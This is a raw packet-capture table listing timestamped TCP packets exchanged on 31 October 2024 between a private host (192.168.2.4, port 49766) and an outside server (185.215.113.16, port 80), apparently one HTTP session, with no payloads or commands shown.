Oct 31, 2024 20:52:45.098593950 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098606110 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.098613977 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098625898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098625898 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.098638058 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098645926 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.098689079 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.098695040 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098706961 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098717928 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098728895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098732948 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.098762035 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.098800898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098813057 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098824024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098835945 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098846912 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098855019 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.098859072 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.098881006 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.098902941 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.110819101 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.111550093 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.116099119 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116117001 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116130114 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116182089 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.116216898 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.116503954 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116516113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116528034 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116564035 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.116579056 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116591930 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116602898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116614103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116625071 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116636992 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116657019 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.116657019 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.116693020 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.116698980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116713047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116724014 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116734982 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116744041 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.116749048 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116765022 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.116789103 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.116789103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116802931 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116815090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.116854906 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.117095947 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117108107 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117120981 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117173910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117185116 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.117186069 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117185116 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.117199898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117213964 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117232084 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.117263079 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.117351055 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117363930 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117374897 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117386103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117398024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117399931 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.117410898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117425919 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.117463112 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.117798090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117836952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117847919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117871046 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117887020 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.117913008 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.117933989 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117947102 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117986917 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.117986917 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.118000031 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118010998 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118025064 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118037939 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118037939 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.118066072 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118069887 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.118078947 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118109941 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.118139029 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118150949 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118163109 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118201971 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.118202925 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.118228912 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118827105 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118841887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118854046 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118880033 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.118906975 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.118913889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118928909 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118942022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118968010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118974924 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.118979931 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118987083 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.118998051 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.119020939 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.119046926 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.119054079 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.119067907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.119077921 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.119088888 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.119101048 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.119117022 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.119117022 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.119185925 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.119215965 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.119229078 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.119290113 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.119963884 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.119976997 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.119987965 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120012045 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120022058 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.120024920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120045900 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120058060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120060921 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.120112896 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120124102 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120134115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120143890 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120151997 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.120151997 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.120162964 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120176077 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120184898 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.120189905 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120207071 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.120218992 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120233059 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120244980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120245934 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.120274067 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.120655060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120800972 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120860100 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.120876074 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120918989 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120930910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.120965958 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.120990992 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.121006012 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121018887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121031046 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121042967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121077061 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.121099949 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.121109962 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121121883 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121131897 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121144056 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121159077 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.121166945 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121179104 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121185064 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.121191025 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121202946 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121215105 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121223927 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.121243954 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.121727943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121779919 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.121781111 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121795893 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121808052 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121848106 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.121893883 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121906996 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121916056 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121932983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121944904 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121949911 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.121956110 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.121969938 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.121994019 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.122025967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122037888 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122047901 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122054100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122060061 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122085094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122098923 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122103930 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.122144938 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.122652054 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122665882 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122720957 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.122795105 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122812033 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122823954 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122833967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122845888 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122857094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122875929 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.122875929 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.122905970 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.122922897 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122941017 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122951984 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122962952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122973919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122984886 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.122996092 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.122996092 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.122997046 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123013020 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123025894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123048067 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.123073101 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.123572111 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123629093 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.123687029 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123732090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123744011 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123755932 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123768091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123771906 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.123780012 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123795033 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123806953 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123819113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123825073 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.123831987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123851061 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123852015 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.123852015 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.123863935 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123888969 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.123941898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123961926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123974085 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.123981953 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.123986959 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124003887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124016047 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.124039888 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.124641895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124701977 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.124737024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124748945 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124761105 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124785900 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.124793053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124804020 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124814987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124828100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124838114 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.124844074 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124869108 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.124895096 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.124938965 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124953032 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124963999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124975920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124990940 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.124993086 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.125005007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.125017881 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.125019073 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.125031948 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.125056982 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.125083923 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.125845909 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.125865936 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.125879049 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.125893116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.125905991 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.125910997 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.125937939 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.125963926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.125977039 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.125988960 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126000881 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126013994 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126022100 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.126040936 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.126065016 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.126096010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126107931 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126116991 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126128912 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126142979 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126146078 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.126154900 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126174927 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126180887 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.126204014 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.126501083 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126549959 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.126593113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126605988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126650095 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.126663923 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126677036 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126693010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126710892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126719952 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.126724958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126737118 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126758099 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126766920 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.126770973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126784086 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126786947 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.126796961 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126811981 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126822948 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.126823902 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126837969 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126842022 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.126874924 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.126889944 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126904011 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.126939058 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.127729893 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.127743006 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.127753019 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.127765894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.127780914 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.127785921 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.127799988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.127810955 CET	49766	80	192.168.2.4	185.215.113.16
